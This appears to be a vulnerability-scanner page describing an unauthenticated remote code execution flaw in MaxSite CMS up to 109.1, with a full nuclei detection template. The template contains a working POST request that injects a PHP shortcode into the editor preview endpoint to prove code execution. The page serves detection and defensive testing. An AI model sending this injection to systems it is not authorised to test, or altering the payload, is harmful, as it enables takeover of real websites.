MaxSite CMS <=109.1 - Remote Code Execution

highseverity

7.3CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

MaxSite CMS through 109.1 allows unauthenticated remote attackers to execute arbitrary code via the MarkItUp editor preview AJAX endpoint, preview-ajax.php. The endpoint insufficiently authenticates the request, failing to ensure the user is logged in, and processes the attacker's input via unsafe usage of PHP eval() on user-supplied [php]...[/php] shortcodes. By providing a POST request to the vulnerable /ajax/ endpoint with crafted input, attackers may achieve remote code execution. The issue is addressed in version 109.2 by implementing proper authentication controls.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "MaxSite CMS" or "maxsite_cms" or "max-3000.com" or "/maxsite/"
Send: POST /ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
Positive when: contains "a92788d6874137d1c4c4eaf6b6c0806a" AND status 200

Run it with nuclei: nuclei -id CVE-2026-3395 -u <target>

The full check

id: CVE-2026-3395

info:
  name: MaxSite CMS <=109.1 - Remote Code Execution
  author: ritikchaddha
  severity: high
  description: |
    MaxSite CMS through 109.1 allows unauthenticated remote attackers to execute arbitrary code via the MarkItUp editor preview AJAX endpoint, preview-ajax.php. The endpoint insufficiently authenticates the request, failing to ensure the user is logged in, and processes the attacker's input via unsafe usage of PHP eval() on user-supplied [php]...[/php] shortcodes. By providing a POST request to the vulnerable /ajax/ endpoint with crafted input, attackers may achieve remote code execution. The issue is addressed in version 109.2 by implementing proper authentication controls.
  reference:
    - https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE
    - https://github.com/rootdirective-sec/CVE-2026-3395-Lab
    - https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
    - https://vuldb.com/?id.348281
    - https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/large-scale-exploitation-campaign-targeting-website-content-management-systems-cms
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3395
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-3395
    epss-score: 0.04021
    epss-percentile: 0.90665
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: max-3000
    product: maxsite_cms
    shodan-query: "MaxSite CMS"
    fofa-query: "MaxSite CMS"
    publicwww-query: "MaxSite CMS"
  tags: cve,cve2026,rce,maxsite,cms,eval,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "MaxSite CMS"
          - "maxsite_cms"
          - "max-3000.com"
          - "/maxsite/"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA== HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        data=%5Bphp%5Decho+md5%28%27cve-2026-3395-nuclei%27%29%3B%5B%2Fphp%5D

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "a92788d6874137d1c4c4eaf6b6c0806a"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from